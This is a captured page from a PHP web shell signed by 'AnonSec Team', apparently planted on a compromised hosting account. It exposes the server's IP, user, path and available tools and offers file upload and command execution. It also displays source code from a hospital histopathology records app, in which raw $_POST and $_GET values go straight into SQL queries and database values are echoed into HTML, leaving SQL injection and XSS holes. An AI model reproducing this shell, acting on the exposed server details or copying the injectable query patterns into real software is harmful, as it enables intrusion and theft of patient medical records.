Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.135.198.174
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/edit_showpage_histopathology.php
  <?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';
include 'dashboarddocument.php';
include("dbconnection.php");
if(isset($_POST['signup'])) 
{
    
$sql ="UPDATE histopathology SET Diagnosis='$_POST[Diagnosis]',specimen='$_POST[specimen]',investigation='$_POST[investigation]',Ref_Dr='$_POST[Ref_Dr]',Containerno='$_POST[Containerno]'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
if($qsql = mysqli_query($con,$sql))
		{

    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  else {
    echo "Sorry, there was an error uploading your file.";

  }
}
?>

   <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
    <?php
    $sql ="SELECT * FROM histopathology WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND surgeryid='$_GET[surgeryid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h3 align='center'>Histopathology</h3>

<form name='signup' method='POST'>
 <table id='example2' class='table table-bordered table-hover'>
 
 
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Diagnosis: </td>
<td width='50%'><input type='text' name='Diagnosis' value='$rs[Diagnosis]'></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Specimen: </td>
<td width='50%'><input type='text' name='specimen' value='$rs[specimen]'></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;  Investigation: </td>
<td width='50%'>";?>
<select class='selectva'  name="investigation">
        	<option value="">Investigation</option>
                        <?php
include("dbconnection.php");
	$sqlpatient1 = "SELECT * FROM `list_Investigation` where labdepartmentid='4'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{?>
	   <option value='<?php echo $rsn['ivid'] ?>' <?php echo ($rsn['ivid']==$rs['investigation'])? 'selected':'';?> ><?php echo $rsn['Investigation'] ?></option>";
			<?php	}
	
		  ?>

</select>
<?php echo "

</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Ref.by Dr: </td>
<td width='50%'><input type='text' name='Ref_Dr' value='$rs[Ref_Dr]'></td>
</tr>
 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Container no: </td>
<td width='50%'>";?>
<select name="Containerno" required>
                	<option value="">Priority slip </option>
	<option value="Urgent" <?php echo ('Urgent'==$rs['Containerno'])? 'selected':'';?>>Urgent </option>
	<option value="Normal" <?php echo ('Normal'==$rs['Containerno'])? 'selected':'';?>>Normal </option>
</select>
<?php echo "
</td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Specimen Wt: </td>
<td width='50%'><input type='text' name='specimen_wt' value='$rs[specimen_wt]'></td>
</tr>
";
}
?>

</table>
<input type='submit' name='signup' value='Update'>
</form>



</div>

Anon7 - 2022
AnonSec Team